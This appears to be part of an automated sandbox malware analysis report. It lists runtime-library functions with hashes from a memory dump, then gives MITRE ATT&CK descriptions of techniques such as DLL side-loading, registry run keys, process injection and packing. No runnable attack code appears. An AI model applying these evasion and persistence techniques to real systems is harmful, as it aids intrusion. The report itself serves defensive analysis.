Non-executed Functions

Function 022A6437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 022A644E

Part of subcall function 022A9636: __calloc_impl.LIBCMT ref: 022A9645

__calloc_crt.LIBCMT ref: 022A6472
_free.LIBCMT ref: 022A6480
__calloc_crt.LIBCMT ref: 022A648E
_free.LIBCMT ref: 022A649E
_free.LIBCMT ref: 022A64A4
__copytlocinfo_nolock.LIBCMT ref: 022A64B3
__setmbcp_nolock.LIBCMT ref: 022A64D4
_free.LIBCMT ref: 022A64E2
___removelocaleref.LIBCMT ref: 022A64E9
___freetlocinfo.LIBCMT ref: 022A64F0
_free.LIBCMT ref: 022A64F6

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: cd20316c2129b0b940ade52fb125eff83c8d0e15598ad8805882f7a4bd429f7d
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: 5221D135124701AFEF313FE5C821E2B7BEADF41B60F548429E44855CACEB628560DE50

Function 022A3F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 022A3F51

Part of subcall function 022A5BA8: __getptd_noexit.LIBCMT ref: 022A5BA8

__gmtime64_s.LIBCMT ref: 022A3FEA
__gmtime64_s.LIBCMT ref: 022A4020
__gmtime64_s.LIBCMT ref: 022A403D
__allrem.LIBCMT ref: 022A4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022A40AF
__allrem.LIBCMT ref: 022A40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022A40E4
__allrem.LIBCMT ref: 022A40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022A4119
__invoke_watson.LIBCMT ref: 022A418A

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 8804e05aff1ce037f673371cf79ffb062e0ab78be8e345422709b0543124bf07
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: 8E710D71A20717ABD715EEF9CC51B9AB3B9BF00364F144179E514E7A84EBB0E900CB90

Function 022A650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 022A6547
__calloc_crt.LIBCMT ref: 022A6598
__lock.LIBCMT ref: 022A65AE
__copytlocinfo_nolock.LIBCMT ref: 022A65BF
_wcscmp.LIBCMT ref: 022A65F9
__lock.LIBCMT ref: 022A6610
__updatetlocinfoEx_nolock.LIBCMT ref: 022A6622
___removelocaleref.LIBCMT ref: 022A6628
__updatetlocinfoEx_nolock.LIBCMT ref: 022A6647

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: 3ab3fb2696edaec58bd60e6de6dcf17a3a6864c1ba3acf1965ded6d85b388a5a
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 9F412532920305EFDF00AFE8D960BAE3BFAAF04714F148429E91496998DBB98544DF51

Function 022A84AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 022A84B1
_free.LIBCMT ref: 022A84E2
_free.LIBCMT ref: 022A84F5
_free.LIBCMT ref: 022A8513
_free.LIBCMT ref: 022A8525
_free.LIBCMT ref: 022A8536
_free.LIBCMT ref: 022A8541
_free.LIBCMT ref: 022A8565
_free.LIBCMT ref: 022A8581
_free.LIBCMT ref: 022A8597
_free.LIBCMT ref: 022A85BF

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: a50f6ef07ef279deda81d85adced3eb9cb4b4afaa78aecbaab13410a200e5e12
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 5831E331910351DFCB21AF94FC9088977E6FB14334B05862AEE08576B8CBB059C8AF92

Function 022CFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 022CFC1F

Part of subcall function 022B169C: std::exception::_Copy_str.LIBCMT ref: 022B16B5

__CxxThrowException@8.LIBCMT ref: 022CFC34
std::exception::exception.LIBCMT ref: 022CFC4D
__CxxThrowException@8.LIBCMT ref: 022CFC62
std::regex_error::regex_error.LIBCPMT ref: 022CFC74

Part of subcall function 022CF914: std::exception::exception.LIBCMT ref: 022CF92E

__CxxThrowException@8.LIBCMT ref: 022CFC82
std::exception::exception.LIBCMT ref: 022CFC9B
__CxxThrowException@8.LIBCMT ref: 022CFCB0

Strings

leM, xrefs: 022CFCA8

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 46f70d599434b208c456d89837c02711d4d00b0cb24358d1ed8e541d58a199f5
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 1311DA79C0030DBBCF05FFE5D865CDDBB7DAE04384B408566A91897644EB74A3588F94

Function 0228F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0228F01F

Part of subcall function 022A1602: __FF_MSGBANNER.LIBCMT ref: 022A1619
Part of subcall function 022A1602: __NMSG_WRITE.LIBCMT ref: 022A1620

_malloc.LIBCMT ref: 0228F02B
_wprintf.LIBCMT ref: 0228F03E
_free.LIBCMT ref: 0228F044
_free.LIBCMT ref: 0228F065
_malloc.LIBCMT ref: 0228F06D
_sprintf.LIBCMT ref: 0228F0C0
_wprintf.LIBCMT ref: 0228F0D2
_wprintf.LIBCMT ref: 0228F0DC
_free.LIBCMT ref: 0228F0E5

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: 4a269a266fe9ddef6bd35803b32236535e24b5849109853fb4cf90125dd8379c
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 3F1127B25216506FC26172F40C21FFF3BDD9F45711F440169FE4CD1588DA189A149BB1

Function 02291960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022919C6
__CxxThrowException@8.LIBCMT ref: 022919F1
__CxxThrowException@8.LIBCMT ref: 02291A1A
__CxxThrowException@8.LIBCMT ref: 02291A4B
_memset.LIBCMT ref: 02291A6A
__CxxThrowException@8.LIBCMT ref: 02291A90
_malloc.LIBCMT ref: 02291AA0
_memset.LIBCMT ref: 02291AAB
_sprintf.LIBCMT ref: 02291ACE

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset$_malloc_sprintf
String ID:
API String ID: 65388428-0
Opcode ID: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction ID: e28dd000a76906977de2140a32167547b281fd64df273a20851a33d4ba57962f
Opcode Fuzzy Hash: 76dd775f958ae6873f0575faef2ecf56324248e316e82f6433bbffcf9f7903c6
Instruction Fuzzy Hash: F2513871D4020AABEF11DBE5DC86FEEBBB9FF04744F100025F909B6184EB746A158BA5

Function 0228F210 Relevance: 10.7, APIs: 7, Instructions: 165COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0228F284
__CxxThrowException@8.LIBCMT ref: 0228F2AF
__CxxThrowException@8.LIBCMT ref: 0228F2DE
__CxxThrowException@8.LIBCMT ref: 0228F30F
_memset.LIBCMT ref: 0228F32E
__CxxThrowException@8.LIBCMT ref: 0228F354
_sprintf.LIBCMT ref: 0228F373

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction ID: debfd39696a1d7fc11110e5f8c18f0611720ee3bbf853496d49abcb222b573dc
Opcode Fuzzy Hash: 3deed8c6e3840860115ea43936f1cfce13c92bcc70370307f91e5f5c9cd17acd
Instruction Fuzzy Hash: 65519CB1A50249ABEF11EFE1CD46FEEBBB8BB04704F100025F905B6184D7B4AA058BA4

Function 0228F440 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0228F4B7
__CxxThrowException@8.LIBCMT ref: 0228F4E2
__CxxThrowException@8.LIBCMT ref: 0228F504
__CxxThrowException@8.LIBCMT ref: 0228F535
_memset.LIBCMT ref: 0228F554
__CxxThrowException@8.LIBCMT ref: 0228F57A
_sprintf.LIBCMT ref: 0228F594

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Exception@8Throw$_memset_sprintf
String ID:
API String ID: 217217746-0
Opcode ID: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction ID: b1df6ebe92a065a8b01caf03083d130f0919178d61b2a58b02a08811bbc9398a
Opcode Fuzzy Hash: 16aaa772ddb988d461e4337924cf716956fc1cb963719ed600faa1ffd715582e
Instruction Fuzzy Hash: 9C516D71D50209ABDF21EFE1DD46FEEBBB9BF04704F100129E905B6184E774AA058BA4

Function 022C208B Relevance: 9.1, APIs: 6, Instructions: 112COMMON

Download Yara Rule

APIs

__getenv_helper_nolock.LIBCMT ref: 022C20C6
__invoke_watson.LIBCMT ref: 022C2120
_strlen.LIBCMT ref: 022C20D4

Part of subcall function 022A5BA8: __getptd_noexit.LIBCMT ref: 022A5BA8

_strnlen.LIBCMT ref: 022C215F
__lock.LIBCMT ref: 022C2170
__getenv_helper_nolock.LIBCMT ref: 022C217B

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __getenv_helper_nolock$__getptd_noexit__invoke_watson__lock_strlen_strnlen
String ID:
API String ID: 3534693527-0
Opcode ID: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction ID: 96d231bceb745d0774c747a14881f1f3b3bea6f6f515caa54ab0254a0bb06649
Opcode Fuzzy Hash: 7b5cd30b09028c4688c7add7ba7a2b705b2aa5fc65eb7c357d53e3922a347f5d
Instruction Fuzzy Hash: 3831D672930322EBDB217AE49C00B6E2755AF15B25F20471AED04EB69CDFB48540CAA1

Function 02292670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022926DB
_memset.LIBCMT ref: 02292A30
_memset.LIBCMT ref: 02292AC0

Strings

D, xrefs: 02292AC8

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 2605ee6d1fa0e38c0b0c1b428c0071d657d9256ea9b7e2806ad3430655c0cf26
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: C5E16A71D1021AEBDF24DBE0CD89FEEB7B8BF04304F144169E909A2194EB746A45CF54

Function 0228D8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0228D8EA

Strings

$, xrefs: 0228DAE2
(, xrefs: 0228DAE9
, xrefs: 0228DADB

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: f620d5b1e4e2949f574d6481512835dadba9d04f4d057cab97ec2c406f137f6d
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 3C91AB71C112099BEF20DFE0C859BEEBBB5AF05308F244169D405B72C4DBB69A48CFA5

Function 0229A810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0229A858
_memset.LIBCMT ref: 0229A869
_memset.LIBCMT ref: 0229A87A

Strings

p2Q, xrefs: 0229A882

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 22f00a8a4e9c5ef077834ca32b92b4faf8c27c19e33e614236c98f918c04012a
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 5CF0E578694750A6F71177A0BC367857D917B32B09F104044E1142E2E5D3FD234CA799

Function 022CFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 022CFBF1

Part of subcall function 022B169C: std::exception::_Copy_str.LIBCMT ref: 022B16B5

__CxxThrowException@8.LIBCMT ref: 022CFC06

Strings

TeM, xrefs: 022CFBFE
TeM, xrefs: 022CFBE7, 022CFBFB

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: 0a3b58b85b3182ac6d9200aa26d72de94dd3e0c12a5b4f56f8ed455ccd7493cd
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: 06D06775C0030CBBCF05EFA5D459CDDBBB9AE04384B408466A91897245EA74A3598F94

Function 0228D0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 022A197D: __wfsopen.LIBCMT ref: 022A1988

_fgetws.LIBCMT ref: 0228D15C

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 82d7224335f503f8d2d0c5c8e88d20c56b538571b51cf539ce9dca600254ab08
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: 6F91A371D213169BCF20EFE4C844BAEB7B5AF04314F140529E815A76C9E7B5EA18CB92

Function 0228D540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 0228D77E
_malloc.LIBCMT ref: 0228D7B2
_malloc.LIBCMT ref: 0228D7C1
_fprintf.LIBCMT ref: 0228D815

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: 34752b4d417fd5ddd9c54484898a088b5200fe72f5aacebab7e75aaeae6c64db
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: A6A15BB1C10348EBEF11EFE4C855BEEBB76AF14308F140128D4057A2D5D7B69A58CBA6

Function 022A2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 022A2B2E
__read_nolock.LIBCMT ref: 022A2BFE
__filbuf.LIBCMT ref: 022A2C21
_memset.LIBCMT ref: 022A2C65

Part of subcall function 022A5BA8: __getptd_noexit.LIBCMT ref: 022A5BA8

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: b273739a7052136a20b5baed69eccc3d2ae3b8696266f3408e69ccf464e35dd7
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: F8519470A21306DBDB248FF989A476EB7B6BF40324F148B29EC3596AD8D7709950CF40

Function 022C1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 022C137D

Part of subcall function 022C1A9D: __fltout2.LIBCMT ref: 022C1AC6

__cftog_l.LIBCMT ref: 022C13A3
__cftoe_l.LIBCMT ref: 022C13D5

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 13b8f63246620e74bf7ab0310386765a59f320d2bfc88e573b30167bfc0340ba
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: 29017E3206014ABBCF125EC4CC02CED3F63BF18348B688619FA1C59539D336C5B1AB81

Function 02347A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02347A4B

Part of subcall function 02348140: ___BuildCatchObjectHelper.LIBCMT ref: 02348172
Part of subcall function 02348140: ___AdjustPointer.LIBCMT ref: 02348189

_UnwindNestedFrames.LIBCMT ref: 02347A62
___FrameUnwindToState.LIBCMT ref: 02347A74
CallCatchBlock.LIBCMT ref: 02347A98

Memory Dump Source

Source File: 00000008.00000002.1800593794.0000000002280000.00000040.00001000.00020000.00000000.sdmp, Offset: 02280000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_2280000_A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: 581b693785c4f15d059d15e03b9e579981a1a72d03b37b7d319bd44d09cbd314
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 2401D732100109BBCF22AF55CD01EEA7BBAEF49758F158055FD1865221DB32E961DFA0

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
